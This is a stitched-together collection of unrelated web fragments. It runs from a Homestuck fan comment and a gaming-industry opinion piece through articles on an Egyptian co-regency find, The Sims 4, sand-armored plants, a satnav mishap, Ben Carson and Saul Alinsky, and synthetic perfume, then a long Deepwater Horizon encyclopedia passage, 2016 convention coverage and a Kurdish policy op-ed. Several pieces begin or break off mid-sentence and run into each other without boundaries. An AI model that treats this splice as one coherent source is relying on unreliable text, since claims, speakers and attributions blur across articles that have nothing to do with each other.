But he wouldn’t really have any way to fight it, not with Gamzee’s powers and Caliborn’s force of personality. It’s so messed up and sad, and it explains SO MUCH. And the way everyone just… desperately didn’t notice Cal was KILL IT WITH FIRE levels of fucked up speaks to a touch of voidy don’t notice don’t look magic.Updated Editor’s Note 11/7/2017 – In an effort to further commit to our editorial vision of quality content about nothing but games or the industry, we are leaving this note here to let you know that this article does not meet the standards of that vision as it exists today. This article may be poorly written, or it may be well-written but with charged political content, which we have stepped away from. It’s not the ideas we have a problem with, as we do not discourage any viewpoint, we are just moving away from this sort of content. This article no longer represents TechRaptor’s editorial vision today and into the future. You can read more about why we are doing this here.
There is a saying; “Never attribute to malice that which is adequately explained by stupidity”, it is known as Hanlon’s Razor.
If I was allowed to coin a catechism for the gaming industry, Hnatiw’s Razor if you will, it would be:
“Never attribute to malice that which is adequately explained by greed.”
(I know Hnatiw’s Razor isn’t as catchy but just let me have this)
I want you to participate in a thought experiment with me. Close your eyes (or don’t, I’m not the boss of you) and think of the trends in the gaming industry that you hate. It can be anything; Pay or Wait games like Clash of Clans or Kim Kardashian Hollywood, malicious DLC and Season Pass practices or a lack of in-game diversity from a gender or race standpoint. It’s easy to hate on Supercell for being terrible or say that the games industry is just a toxic boys club but if thats how you’re thinking I’m here to start throwing wrenches.
Because every single trend you hate in the gaming industry exists because it makes money.
Take DLC, Pre-Orders and Season Passes. Nearly every games media outlet agrees they are annoying, that they divide the community and force gamers to shell out more money on top of already expensive purchases. Publishers know this, it would be ignorant to believe publishers are unaware of the feelings of gamers, but the ugly truth is that they simply do not care. DLC makes a lot of money, whether it’s map packs in Call of Duty or cosmetic changes, people are paying for it. Games media calls it exploitative or mocks it like Oblivion‘s horse armor but it doesn’t change anything. I’m sure major publishers would enjoy |
This “could confirm that the two Pharaohs governed jointly between nine and 10 years of the 39 that Amenhotep III governed, since the hieroglyphics on the columns explain that they were both sovereigns of Upper and Lower Egypt,” said Valentin. “There is nothing similar in Pharaonic history.”
There has long been a debate among historians and Egyptologists over whether Amenhotep III and Amenhotep IV shared a co-regency towards the end Amenhotep III’s reign, with some experts suggesting a power sharing arrangement lasting as long as 12 years or as short as two years. Most scholars have argued against the co-regency theory because there has been no solid archaeological evidence to resolve the debate. Could the latest discovery resolve the debate once and for all?
The reigns of Amenhotep III and of Amenhotep IV, better known as Akhenaten, are among the most significant in Ancient Egypt. The reign of Amenhotep III marked the zenith of ancient Egyptian civilisation, both in terms of political power and cultural achievement, under his 36 year reign.
Amenhotep IV, on the other hand, was one of the most puzzling pharaohs of Egypt, also mentioned as the ‘Heretic Pharaoh’ or ‘Rebel Pharaoh’. Amenhotep IV (Akhenaten), father of Tutankhamun, was a revolutionary who is noted for abandoning traditional Egyptian polytheism and introducing the first monotheistic religion centred on the one ‘true’ god of Aten (the Sun disk).
Until now, experts thought that Akhenaten had rebelled against his father’s way of ruling and that he introduced his radical new monotheistic religion after succeeding him on the throne. However, if Amenhotep III and Akhenaten were ruling at the same time, this could indicate that father and son were together in this revolutionary movement.
The team of researchers still have another 600 square feet to excavate, which they hope may reveal more information about this puzzling discovery because, if true, the finding will require another rewrite of the history books.
By April HollowayMortal Kombat X has been getting a huge amount of attention, not only because of the success of past game, but because of news being released about the new one. New characters, new mechanics; it’s all part of the evolution of the game.
Gamers expect that from any sequel, which is why fans are disappointed with news about The Sims 4.
The reports that The Sims 4 would have more in-depth characters and emotions seem to have come with a price. In fact, a list published by The Sims4News showed 78 features from previous games that would be cut from The Sims 4.
The Sims series comes with a community of enthusiastic fans. It’s the greatest factor of the game’s success. With so many features missing from The Sims 4 that existed in previous Sims games, fans are crying foul.
According to Game Informer, Rachel Franklin, The Sims 4 Executive Producer, spoke about the missing features, “it’s always a tough decision. I want to put everything we’ve ever created in the last 14 years into a base game. We simply can’t. That said, what we have done is we’ve created an incredibly rich, robust experience. If we didn’t build the core foundation, but I gave you pools, that wouldn’t be the right thing to do.”
Her explanation would be a good one, except that the list of omissions speaks for itself. Among other things, the list states that The Sims 4 will be missing story progression.
In The Sims 4, characters will age, but won’t be able to have children, get jobs, move, marry, or anything else without player intervention. That means the real-time feel of The Sims will be greatly diminished because the characters will have no “free will.”
It’s hardly exciting for a Sims character to stand in one spot for ten minutes. There was always a pause button if that was necessary.
Some of the other relatively important features that will be missing from The Sims 4 are: an open world, normal careers, toddlers, environment needs, comfort needs, favorites, color wheels, cars, and parties hosted by other Sims.
With The Sims 4 set to be released on September 2, it seems like the Sims series creators might have simply run out of time. Whatever the reason, there has been significant fan uproar as The Sims slips backwards and away from advancement.
You can find the full list of what features you won’t be getting in The Sims 4 on Sims4News.
[ Images courtesy of PC Advisor ]Thorns, poisons, and partnerships with biting insects are just a few of the ways that plants avoid getting eaten. Now, researchers have added one more to the list: armor made of sand. Scientists have long wondered why some plants secrete sticky substances that trap sand on their stems and leaves. Over the years, they’ve floated ideas from temperature regulation to storm protection to armor against hungry herbivores. To find out which is right, researchers removed sand grains from armor-wielding sand verbenas in California. After 2 months, the “naked” plants had twice the chewing damage of plants that kept their sandy armor intact, the team reports this week in Ecology. The study also shows that herbivores were far less likely to chomp off the flowers of honey-scented pincushion plants (pictured) when the researchers sprinkled some extra grains on the flowers. The key may be animal tooth care—an herbivore’s teeth are its most important tool, and anyone who has used sandpaper knows that grains of sand can wear down hard surfaces. Plants worldwide may be wielding a sandy shield to avoid becoming a meal, say the researchers, who add that the armor could still have other uses, like protection against sandstorms.A Belgian granny who planned an 80km car trip to Brussels ended up in Croatia, after ill-advisedly obeying her satnav's orders to traverse Europe.
Sabine Moreau, 67, intended to drive from her home in Solre-sur-Sambre to pick up a chum from the Belgian capital's Brussel-Noord station, but was instead directed eastwards on a two-day odyssey.
She recounted: "I was distracted, so just kept on driving. I saw all kinds of roadsigns, first in French, then in German and finally in Croatian."
Belgian cops, alerted to Moreau's disappearance by her son, began to search for the absent-minded absentee. She was long gone, though, and after 1,450km, a minor accident and a couple of naps in the car, the penny finally dropped. Moreau explained: "Suddenly I was in Zagreb and then I realised I wasn't in Belgium."
Admitting her epic roadtrip might seem "a little strange", Moreau stressed again she'd been "distracted". ®In his speech at the Republican convention Tuesday, Ben Carson claimed Hillary Clinton "greatly admired" a man named Saul Alinsky, whom, he said was "one of her heroes, her mentors."
From the context of his remarks, Carson's objection appears to be that Alinsky mentioned Lucifer in one of his books, "Rules for Radicals." The mention of Alinsky's name likely did little to move the audience of Republican delegates (at least until Lucifer's name was mentioned).
So who was Saul Alinsky and what was Clinton's relationship to him?
Alinsky was a pioneer in community organizing in Chicago, known for extremely confrontational, though non-violent tactics in effecting social change. His methods have been used by liberals and tea party conservatives alike, although he was personally a liberal Democrat.
"Hillary Clinton is bad" night at the RNC
He wrote that organizers who are really dedicated to changing lives in a community "must first rub raw the resentments of the people of the community; fan the latent hostilities of many of the people to the point of overt expression," a Wall Street Journal story in 2012 noted.
Alinsky urged organizers to search out controversy because without controversy, he believed, people don't care enough to act.
According to the Journal, "Rules for Radicals" was given to FreedomWorks leadership -- the tea party group run by former GOP House Majority Leader Dick Armey.
And Carson was right that Clinton did write her college thesis about Alinsky -- and she was, according to the WSJ, even offered a job by him (she turned it down). Her thesis reportedly was "critical at times of Mr. Alinsky's tactics," the WSJ said.
Alinsky was known for fighting for improved city services for poor residents of Chicago in the South Side, where President Obama was an organizer after law school, and where Michelle Obama grew up. Alinsky also worked to improve conditions in the city's meat processing plants.
And returning to the topic of Lucifer, Carson railed against Clinton and Alinsky -- "This is a nation where every doing in our pocket and every bill in our wallet says In God We Trust," he exclaimed. "Are we willing to elect someone as president who has someone as her role model someone who acknowledges Lucifer?"
Lucifer's name in the context of that acknowledgment page was not so much about the morality of Lucifer, but rather, his tactics. On the acknowledgment to "Rules for Radicals," Alinsky wrote:
Lest we forget at least an over-the-shoulder acknowledgment to the very first radical: from all our legends, mythology, and history (and who is to know where mythology leaves off and history begins or which is which), the first radical known to man who rebelled against the establishment and did it so effectively that he at least won his own kingdom - LuciferWhile today’s consumers demand all natural products, in the case of perfume, synthetics might prove to be the greener choice
In a coastal jungle in northern Madagascar, biologist Fanny Rakotoarivelo places a plastic bubble over a branch of papaya flowers. Inside, air currents run through the flowers, sucking out essential oils. The scented air that remains is funneled into another bag, which Rakotoarivelo places inside a metal briefcase. It will be flown and delivered to the German headquarters of Symrise, the second largest flavors and fragrances company in the world, where scientists will attempt to recreate the scent.
The mechanism Rakotoarivelo uses is, rather poetically, called a headspace. For the last thirty years, it has allowed scientists to recreate nature in a bottle, often in a far more environmentally friendly manner than tapping the real thing, according to a 2013 study by watchdog conservation organization ETC Group.
Madagascar: the country that's poor but not poor enough for aid Read more
Symrise pioneered artificial vanilla – vanillin – in 1874, but it continues to be a major supplier of the raw thing as well. Vanilla was first brought to Madagascar in the mid-1800s; today, it is referred to as the country’s “black gold”, supplying about half of the world’s vanilla flavor and fragrance. Some 10% of that comes via Symrise, which works with more than a thousand local farmers in Madagascar, where it opened an extraction plant in late 2014.
With its pristine beaches and roads lined with mango, banana and coconut trees, Madagascar recalls a pre-boom Hawaii. But while the island nurtures some of the world’s richest biodiversity, Malagasy people endure widespread poverty and corruption. As of 2010, more than 75% of the population lives in poverty. Despite its wealth of resources, Madagascar ranks 155th out of 187 countries examined in the UNDP Human Development Index 2014.
Symrise does not own its own farms. Instead, it sources from partners owned domestically, buying at fair trade prices. Vanilla is a labor-intensive crop that requires even more effort in Madagascar, where it is not a native species. About 1kg (2.2lbs) of vanilla requires extraction from 500kg (1,102lbs) of vanilla pods and hand pollination of approximately 40,000 flowers by workers wielding needles – most often women who are paid per stamen.
The price of vanilla can also fluctuate wildly. This year, prices reportedly soared to more than $200 per kg, up from $20 per kg five years ago. Madagascar is one of the few places in the world that grows vanilla that can support such a low price. When prices are high, however, theft of crops becomes rampant.
On these Symrise scent expeditions, perfumers identify local crops that have the potential for growth on a global scale and to diversify local farmers’ output, so as to decrease sole dependency on vanilla. Vetiver, green pepper basil, black pepper, rumba and ylang-ylang are among those currently currently being vetted by Symrise.
Many, like ylang-ylang, already have a well established hold on the perfume industry, but the scents as they are commonly used have gone stale. “Ylang has a bad rap,” senior perfumer at Symrise David Apel explained. “It’s overused in everything from furniture polish to perfume.” The culprit? Synthetics, which are easy and cheap to make.
Facebook Twitter Pinterest A worker sorting vanilla pods at a production site in Anjombalava, a village 36 km away from Sambava, in the middle of the most important vanilla production regions in Madagascar. Photograph: Patrick Mercier/AFP/Getty Images
That’s not always a bad thing. In Chandler Burr’s 2008 book The Perfect Scent, he argues in favor of synthetics, which have become less fashionable with the demand for natural products in the past ten years. The industry takes the position that synthetics are more ecologically sound.
Burr uses sandalwood as an example, the natural use of which is decimating forests in India: “Most perfumers I know now refuse to use natural sandalwood, and their bosses support them, and it’s purely an eco question.”
Burr argues that synthetics are often better than the real thing. For one, the belief they cause allergies is likely more true of naturals, since synthetics can have problematic molecules removed. But consumer desire continues to bend toward naturals. While the last two generations of perfumers leaned toward a potency that relied on synthetically derived animalics and spices (think YSL’S Opium), followed by sugary, candied notes (Mugler’s Angel), the current generation increasingly wants perfume to bring inspiration from the organic world with purer, cleaner origins and scents.
The trend toward a minimalist aesthetic in fragrance can however be more harmful than it appears, particularly when it comes to flowers. The struggle major companies face is how to sustainably produce what is inherently an unsustainable product, especially as consumers demand more and more raw materials.
“Flowers are very resource-intensive with low yield,” explains Torsten Kulke, senior vice president of global innovation & regulatory fragrances at Symrise who also published a scientific study on sustainability in fragrances in the July 2015 issue of Perfumer & Flavorist. Some 500kg (1,102lbs) of a flower, he noted, usually only yields 50 grams (1.1lbs) of essence. “Why do you want to waste hectares and hectares of productive land?”
Perfume manufacturers must cope with the scarcity of precious supplies Read more
Large scale fragrance providers are increasingly making these judgment calls. Symrise is one of the “big eight” global fragrance companies that provide the bulk of the formulas for the fine fragrance market: companies such as Givaudan, IFF and Firmenich have also developed vertical integration to ensure the sustainability of raw materials. According to its 2015 sustainability report, Givaudan, the largest fragrance house, began partnering with local producers a decade ago. IFF announced its Natural Ethics program in 2013 for its vanilla grown in the Sava region, which includes development of more biosynthetic vanilla. Firmenich works with a local partner in Madagascar that helped 1,300 farming families to achieve Rainforest Alliance certification.
Naturals are still a vital industry to local laborers who farm raw materials and extract essences themselves locally. All-natural fragrance, to follow, is expensive, costing hundreds of dollars per ounce, making synthetic scent a more viable option for most fragrance houses as they assemble formulas for clients. Part of the new set of challenges faced by fragrance houses is weighing the benefits of real v derived.
“Rose costs thousands of dollars,” Kulke elaborates. “A 98% copy you can get for a fraction of the cost.”
A papaya flower could not feasibly be harvested for its oil, even in its native Madagascar – the cost, monetary and environmental, would be astronomical. The real thing is, no doubt, more complex, but in this case the copy smells just as sweet.Story highlights Bob Corker is the powerful chairman of the Senate foreign relations committee
He offered the sharpest criticism of Trump of any Republican senator to date
(CNN) He called the White House "an adult day care center." He suggested President Donald Trump was setting the nation on a course to "World War III." And he said Trump "concerns me," adding that the President was treating the office "like a reality show."
And on Monday, Sen. Bob Corker stood by those remarks, adding: "My thoughts were well thought out."
"Look, I didn't just blurt them out," Corker, a Tennessee Republican, told CNN. "My comments -- my comments, I stand by them -- yes."
Corker also added a fresh complication to the intensifying White House push to overhaul the tax code, saying that he would oppose any tax-cut bill that would raise the deficit.
"No," Corker said when asked if he would back a tax plan that would hike the deficit. "I mean, I've stated that clearly."
Read MoreThe Deepwater Horizon oil spill (also referred to as the BP oil spill/leak, the BP oil disaster, the Gulf of Mexico oil spill, and the Macondo blowout) is an industrial disaster that began on April 20, 2010, in the Gulf of Mexico on the BP-operated Macondo Prospect,[6][7][8][9] considered to be the largest marine oil spill in the history of the petroleum industry and estimated to be 8% to 31% larger in volume than the previous largest, the Ixtoc I oil spill, also in the Gulf of Mexico. The U.S. government estimated the total discharge at 4.9 million barrels (210 million US gal; 780,000 m3).[3][10] After several failed efforts to contain the flow, the well was declared sealed on September 19, 2010.[11] Reports in early 2012 indicated that the well site was still leaking.[12][13]
A massive response ensued to protect beaches, wetlands and estuaries from the spreading oil utilizing skimmer ships, floating booms, controlled burns and 1.84 million US gallons (7,000 m3) of oil dispersant.[14] Due to the months-long spill, along with adverse effects from the response and cleanup activities, extensive damage to marine and wildlife habitats and fishing and tourism industries was reported.[15][16] In Louisiana, 4,900,000 pounds (2,200 t) of oily material was removed from the beaches in 2013, over double the amount collected in 2012. Oil cleanup crews worked four days a week on 55 miles (89 km) of Louisiana shoreline throughout 2013.[17] Oil continued to be found as far from the Macondo site as the waters off the Florida Panhandle and Tampa Bay, where scientists said the oil and dispersant mixture is embedded in the sand.[18] In April 2013, it was reported that dolphins and other marine life continued to die in record numbers with infant dolphins dying at six times the normal rate.[19] One study released in 2014 reported that tuna and amberjack that were exposed to oil from the spill developed deformities of the heart and other organs that would be expected to be fatal or at least life-shortening and another study found that cardiotoxicity might have been widespread in animal life exposed to the spill.[20][21]
Numerous investigations explored the causes of the explosion and record-setting spill. The U.S. government September 2011 report pointed to defective cement on the well, faulting mostly BP, but also rig operator Transocean and contractor Halliburton.[22][23] Earlier in 2011, a White House commission likewise blamed BP and its partners for a series of cost-cutting decisions and an inadequate safety system, but also concluded that the spill resulted from "systemic" root causes and "absent significant reform in both industry practices and government policies, might well recur".[24]
In November 2012, BP and the United States Department of Justice settled federal criminal charges with BP pleading guilty to 11 counts of manslaughter, two misdemeanors, and a felony count of lying to Congress. BP also agreed to four years of government monitoring of its safety practices and ethics, and the Environmental Protection Agency announced that BP would be temporarily banned from new contracts with the US government. BP and the Department of Justice agreed to a record-setting $4.525 billion in fines and other payments.[25][26][27] As of February 2013, criminal and civil settlements and payments to a trust fund had cost the company $42.2 billion.[28]
In September 2014, a U.S. District Court judge ruled that BP was primarily responsible for the oil spill because of its gross negligence and reckless conduct.[29] In July 2015, BP agreed to pay $18.7 billion in fines, the largest corporate settlement in U.S. history.[30]
Background [ edit ]
Deepwater Horizon drilling rig [ edit ]
Deepwater Horizon on 20 April 2010 Location of theon 20 April 2010
Deepwater Horizon prior to explosion. prior to explosion.
The Deepwater Horizon was a 10-year-old[31] semi-submersible, mobile, floating, dynamically positioned drilling rig that could operate in waters up to 10,000 feet (3,000 m) deep.[32] Built by South Korean company Hyundai Heavy Industries[33] and owned by Transocean, the rig operated under the Marshallese flag of convenience, and was chartered to BP from March 2008 to September 2013.[2] It was drilling a deep exploratory well, 18,360 feet (5,600 m) below sea level, in approximately 5,100 feet (1,600 m) of water. The well is situated in the Macondo Prospect in Mississippi Canyon Block 252 (MC252) of the Gulf of Mexico, in the United States' exclusive economic zone. The Macondo well is found roughly 41 miles (66 km) off the Louisiana coast.[34][35] BP was the operator and principal developer of the Macondo Prospect with a 65% share, while 25% was owned by Anadarko Petroleum Corporation, and 10% by MOEX Offshore 2007, a unit of Mitsui.[36]
Explosion [ edit ]
Supply boats continued to battle the fire, viewed from a Coast Guard helicopter
At approximately 9:45 pm CDT, on April 20, 2010, high-pressure methane gas from the well expanded into the drilling riser and rose into the drilling rig, where it ignited and exploded, engulfing the platform.[37][38] At the time, 126 crew members were on board: seven BP employees, 79 of Transocean, and employees of various other companies.[39] Eleven missing workers were never found despite a three-day U.S. Coast Guard (USCG) search operation and are believed to have died in the explosion.[40][41] Ninety-four crew members were rescued by lifeboat or helicopter, 17 of whom were treated for injuries.[37][42] The Deepwater Horizon sank on the morning of April 22, 2010.
Volume and extent of oil spill [ edit ]
Oil from the Deepwater Horizon oil spill approaches the coast of Mobile, Alabama, 6 May 2010
Oil stained beaches in Pensacola, Florida; 1 July 2010
Burning and skimming operations in the Gulf of Mexico; 10 June 2010
Thick oil washes ashore in Louisiana; 10 June 2010
The oil leak was discovered on the afternoon of April 22, 2010 when a large oil slick began to spread at the former rig site.[43] The oil flowed for 87 days. BP originally estimated a flow rate of 1,000 to 5,000 barrels per day (160 to 790 m3/d). The Flow Rate Technical Group (FRTG) estimated the initial flow rate was 62,000 barrels per day (9,900 m3/d).[44][45][46] The total estimated volume of leaked oil approximated 4.9 million barrels (210 million US gal; 780,000 m3) with plus or minus 10% uncertainty,[3][10] including oil that was collected,[47] making it the world's largest accidental spill.[6][48] BP challenged the higher figure, saying that the government overestimated the volume. Internal emails released in 2013 showed that one BP employee had estimates that matched those of the FRTG, and shared the data with supervisors, but BP continued with their lower number.[49][50] The company argued that government figures do not reflect over 810,000 barrels (34 million US gal; 129,000 m3) of oil that was collected or burned before it could enter the Gulf waters.[47]
According to the satellite images, the spill directly affected 68,000 square miles (180,000 km2) of ocean, which is comparable to the size of Oklahoma.[4][51] By early June 2010, oil had washed up on 125 miles (201 km) of Louisiana's coast and along the Mississippi, Florida, and Alabama coastlines.[52][53] Oil sludge appeared in the Intracoastal Waterway and on Pensacola Beach and the Gulf Islands National Seashore.[54] In late June, oil reached Gulf Park Estates, its first appearance in Mississippi.[55] In July, tar balls reached Grand Isle and the shores of Lake Pontchartrain.[56][57] In September a new wave of oil suddenly coated 16 miles (26 km) of Louisiana coastline and marshes west of the Mississippi River in Plaquemines Parish.[58] In October, weathered oil reached Texas.[59] As of July 2011, about 491 miles (790 km) of coastline in Louisiana, Mississippi, Alabama and Florida were contaminated by oil and a total of 1,074 miles (1,728 km) had been oiled since the spill began.[60] As of December 2012, 339 miles (546 km) of coastline remain subject to evaluation and/or cleanup operations.[61]
Concerns were raised about the appearance of underwater, horizontally extended plumes of dissolved oil. Researchers concluded that deep plumes of dissolved oil and gas would likely remain confined to the northern Gulf of Mexico and that the peak impact on dissolved oxygen would be delayed and long lasting.[62] Two weeks after the wellhead was capped on July 15, 2010, the surface oil appeared to have dissipated, while an unknown amount of subsurface oil remained.[63] Estimates of the residual ranged from a 2010 NOAA report that claimed about half of the oil remained below the surface to independent estimates of up to 75%.[64][65][66]
That means that over 100 million US gallons (380 Ml) (2.4 million barrels) remained in the Gulf.[61] As of January 2011, tar balls, oil sheen trails, fouled wetlands marsh grass and coastal sands were still evident. Subsurface oil remained offshore and in fine silts.[67] In April 2012, oil was still found along as much as 200 miles (320 km) of Louisiana coastline and tar balls continued to wash up on the barrier islands.[68] In 2013, some scientists at the Gulf of Mexico Oil Spill and Ecosystem Science Conference said that as much as one-third of the oil may have mixed with deep ocean sediments, where it risks damage to ecosystems and commercial fisheries.[69]
In 2013, more than 4,600,000 pounds (2,100 t) of "oiled material" was removed from the Louisiana coast.[17][70] Although only "minute" quantities of oil continued to wash up in 2013, patches of tar balls were still being reported almost every day from Alabama and Florida Panhandle beaches. Regular cleanup patrols were no longer considered justified but cleanup was being conducted on an as-needed basis, in response to public reports.[71]
It was first thought that oil had not reached as far as Tampa Bay, Florida; however, a study done in 2013 found that one of the plumes of dispersant-treated oil had reached a shelf 80 miles (130 km) off the Tampa Bay region. According to researchers, there is "some evidence it may have caused lesions in fish caught in that area".[18][72]
Efforts to stem the flow of oil [ edit ]
Short-term efforts [ edit ]
Concept diagram of underwater oil containment domes originally planned for the Deepwater Horizon oil spill. At this stage, there were 2 remaining oil leaks from the fallen pipeline.
First, BP unsuccessfully attempted to close the blowout preventer valves on the wellhead with remotely operated underwater vehicles.[73][74] Next, it placed a 125-tonne (280,000 lb) containment dome over the largest leak and piped the oil to a storage vessel. While this technique had worked in shallower water, it failed here when gas combined with cold water to form methane hydrate crystals that blocked the opening at the top of the dome.[75] Pumping heavy drilling fluids into the blowout preventer to restrict the flow of oil before sealing it permanently with cement ("top kill") also failed.[76][77]
BP then inserted a riser insertion tube into the pipe and a stopper-like washer around the tube plugged at the end of the riser and diverted the flow into the insertion tube.[78] The collected gas was flared and oil stored on board the drillship Discoverer Enterprise.[79] Before the tube was removed, it collected 924,000 US gallons (22,000 bbl; 3,500 m3) of oil.[80] On June 3, 2010, BP removed the damaged drilling riser from the top of the blowout preventer and covered the pipe by the cap which connected it to another riser.[81] On June 16, a second containment system connected directly to the blowout preventer began carrying oil and gas to service vessels, where it was consumed in a clean-burning system.[82] The United States government's estimates suggested the cap and other equipment were capturing less than half of the leaking oil.[54] On July 10, the containment cap was removed to replace it with a better-fitting cap ("Top Hat Number 10").[83][84] Mud and cement were later pumped in through the top of the well to reduce the pressure inside it which didn't work either. A final device was created to attach a chamber of larger diameter than the flowing pipe with a flange that bolted to the top of the blowout preventer and a manual valve set to close off the flow once attached. On July 15, the device was secured and time was taken closing the valves to ensure the attachment under increasing pressure until the valves were closed completing the temporary measures.[85]
Explosives [ edit ]
In mid-May, United States Secretary of Energy Steven Chu assembled a team of nuclear physicists, including hydrogen bomb designer Richard Garwin and Sandia National Laboratories director Tom Hunter.[86] Oil expert Matthew Simmons maintained that a nuclear explosion was the only way BP could permanently seal the well and cited successful Soviet attempts to seal off runaway gas wells with nuclear blasts. A spokesperson for the U.S. Energy Department said that "neither Energy Secretary Steven Chu nor anyone else" ever considered this option.[87][88] On 24 May, BP ruled out conventional explosives, claiming that if blasts failed to clog the well, "we would have denied ourselves all other options."[89]
Well declared "effectively dead" [ edit ]
Transocean's Development Driller III started drilling a first relief well on May 2, 2010. GSF Development Driller II started drilling a second relief on May 16, 2010.[90][91][92] On August 3, 2010, first test oil and then drilling mud was pumped at a slow rate of approximately 2 barrels (320 L) per minute into the well-head. Pumping continued for eight hours, at the end of which time the well was declared to be "in a static condition."[93] On August 4, 2010, BP began pumping cement from the top, sealing that part of the flow channel permanently.[94]
On September 3, 2010, the 300-ton failed blowout preventer was removed from the well and a replacement blowout preventer was installed.[95][96] On September 16, 2010, the relief well reached its destination and pumping of cement to seal the well began.[97] On September 19, 2010, National Incident Commander Thad Allen declared the well "effectively dead" and said that it posed no further threat to the Gulf.[11]
Recurrent or continued leakage [ edit ]
The Discoverer Enterprise and the Q4000 work around the clock burning undesirable gases from the still uncapped Deepwater Horizon well in the Gulf of Mexico. 26 June 2010
In May 2010, BP admitted they had "discovered things that were broken in the sub-surface" during the "top kill" effort.[98]
Oil slicks were reported in March[99] and August 2011,[100][101] in March[12] and October 2012,[102][103][104] and in January 2013.[105] Repeated scientific analyses confirmed that the sheen was a chemical match for oil from Macondo well.[106][107]
The USCG initially said the oil was too dispersed to recover and posed no threat to the coastline,[108] but later warned BP and Transocean that they might be held financially responsible for cleaning up the new oil.[109] USGS director Marcia McNutt stated that the riser pipe could hold at most 1,000 barrels (160 m3) because it is open on both ends, making it unlikely to hold the amount of oil being observed.[110]
In October 2012, BP reported that they had found and plugged leaking oil from the failed containment dome, now abandoned about 1,500 feet (460 m) from the main well.[111][112][113] In December 2012, the USCG conducted a subsea survey; no oil coming from the wells or the wreckage was found and its source remains unknown.[61][114] In addition, a white, milky substance was observed seeping from the wreckage. According to BP and the USCG, it is "not oil and it's not harmful."[115]
In January 2013, BP said that they were continuing to investigate possible sources of the oil sheen. Chemical data implied that the substance might be residual oil leaking from the wreckage. If that proves to be the case, the sheen can be expected to eventually disappear. Another possibility is that it is formation oil escaping from the subsurface, using the Macondo well casing as flow conduit, possibly intersecting a naturally occurring fault, and then following that to escape at the surface some distance from the wellhead. If it proves to be oil from the subsurface, then that could indicate the possibility of an indefinite release of oil. The oil slick was comparable in size to naturally occurring oil seeps and was not large enough to pose an immediate threat to wildlife.[12][116]
Containment, collection and use of dispersants [ edit ]
The fundamental strategies for addressing the spill were containment, dispersal and removal. In summer 2010, approximately 47,000 people and 7,000 vessels were involved in the project. By 3 October 2012, federal response costs amounted to $850 million, mostly reimbursed by BP. As of January 2013, 935 personnel were still involved. By that time cleanup had cost BP over $14 billion.[61]
It was estimated with plus-or-minus 10% uncertainty that 4.9 million barrels (780,000 m3) of oil was released from the well; 4.1 million barrels (650,000 m3) of oil went into the Gulf.[117] The report led by the Department of the Interior and the NOAA said that "75% [of oil] has been cleaned up by Man or Mother Nature"; however, only about 25% of released oil was collected or removed while about 75% of oil remained in the environment in one form or another.[118] In 2012, Markus Huettel, a benthic ecologist at Florida State University, maintained that while much of BP's oil was degraded or evaporated, at least 60% remains unaccounted for.[119]
In May 2010, a local native set up a network for people to volunteer their assistance in cleaning up beaches. Boat captains were given the opportunity to offer the use of their boat to help clean and prevent the oil from further spreading. To assist with the efforts the captains had to register their ships with the Vessels of Opportunity, however an issue arose when more boats registered than actually participated in the clean up efforts - only a third of the registered boats. Many local supporters were disappointed with BP's slow response, prompting the formation of The Florida Key Environmental Coalition. This coalition gained significant influence in the clean up of the oil spill to try and gain some control over the situation.[120]
Containment [ edit ]
Oil containment boom used in an attempt to protect barrier islands
Containment booms stretching over 4,200,000 feet (1,300 km) were deployed, either to corral the oil or as barriers to protect marshes, mangroves, shrimp/crab/oyster ranches or other ecologically sensitive areas. Booms extend 18–48 inches (0.46–1.22 m) above and below the water surface and were effective only in relatively calm and slow-moving waters. Including one-time use sorbent booms, a total of 13,300,000 feet (4,100 km) of booms were deployed.[121] Booms were criticized for washing up on the shore with the oil, allowing oil to escape above or below the boom, and for ineffectiveness in more than three to four-foot (90–120 cm) waves.[122][123][124]
The Louisiana barrier island plan was developed to construct barrier islands to protect the coast of Louisiana. The plan was criticised for its expense and poor results.[125][126] Critics allege that the decision to pursue the project was political with little scientific input |
and must be defeated.
'My hope is our revolution will be supported by at least 100 candidates all across this country.'
Sanders told them, 'This campaign has been a fantastic beginning, a beginning and from today onward we continue the fight.'
The Vermont senator closed out the convention tonight. He spoke after Elizabeth Warren - another progressive Clinton has enlisted to help bring along the left-wing of the party.
Democratic Congressman Keith Ellison, one of the senator's only colleagues to endorse him, gave his introduction.
'As a proud – and I said proud – Bernie Sanders supporter, I will always remember feelin' the Bern in Minnesota,' Ellison said. 'Bernie sparked the beginning of a revolution, y'all. He packed them in from Davenport to Detroit, to your town and mine.'
Thirteen million voters came out in support of him and helped build the movement $27 at a time, he said. 'We made our voices heard. And together, Democrats, we will make our voices heard in November when we defeat Donald Trump and, and elect Hillary Rodham Clinton to [be] the next President of the United States of America.'
But tonight, he said, 'let us raise our voices in gratitude to the man who has helped make this great party greater than ever...Bernie Sanders.'
Sanders fought tooth and nail to keep Clinton from getting the nomination. He endorsed her earlier this month at a rally in New Hampshire and will speak on her behalf tonight at the Democratic National Convention
A Bernie Sanders supporter takes a selfie with a Sanders puppet before a march through downtown on the first day of the Democratic National Convention in Philadelphia, Pennsylvania
Hard act to follow: Bernie Sanders wrapped up proceedings after Michelle Obama took to the stage for an emotional speech in which she praised America's progress and vociferously backed Hillary Clinton
First lady Michelle Obama, who was wearing a custom made dress by US designer Christian Siriano, wowed at the Democratic National Convention in Philadelphia Monday night. 'This country is great,' Obama said at one point
Powerful: Singer Demi Lovato performs at the Democratic National Convention in Philadelphia, Pennsylvania
Eva Longoria bashed Donald Trump during her speech at the Democratic National Convention Monday night (pictured), saying he had insulted several members of her family through his claimsYousif Ismael is the director of media and policy at the Washington Kurdish Institute.
By shelling Kurdish troops and allied Syrian Democratic Forces (S.D.F.) in northern Syria, killing civilians, Turkey threatens to derail the fight against ISIS in order to weaken Kurdish aspirations.
S.D.F. was formed last year after a streak of victories by the Kurdish People’s Protection Units (Y.P.G.) against ISIS in Kobani and Tal Abyad that encouraged non-Kurdish groups to join the fight against ISIS and become Y.P.G. allies. Kurdish-led forces are considered America’s most effective ally in the fight against ISIS.
Turkish policies and the Islamist ideology that dominates the Turkish ruling party will only strengthen ISIS and Assad.
But in its fervor to defeat Assad, Turkey has helped create terrorist organizations such as the Qaeda offshoot the Nusra Front and Ahrar al Sham. It has also opened its borders to various Islamist militias, providing logistics and aid, and enabling hundreds of ISIS fighters to enter Syria via Turkey. When the S.D.F. liberated the Mengah airbase and the town of Tall Rifat from these terror groups, Turkey responded by shelling the S.D.F.
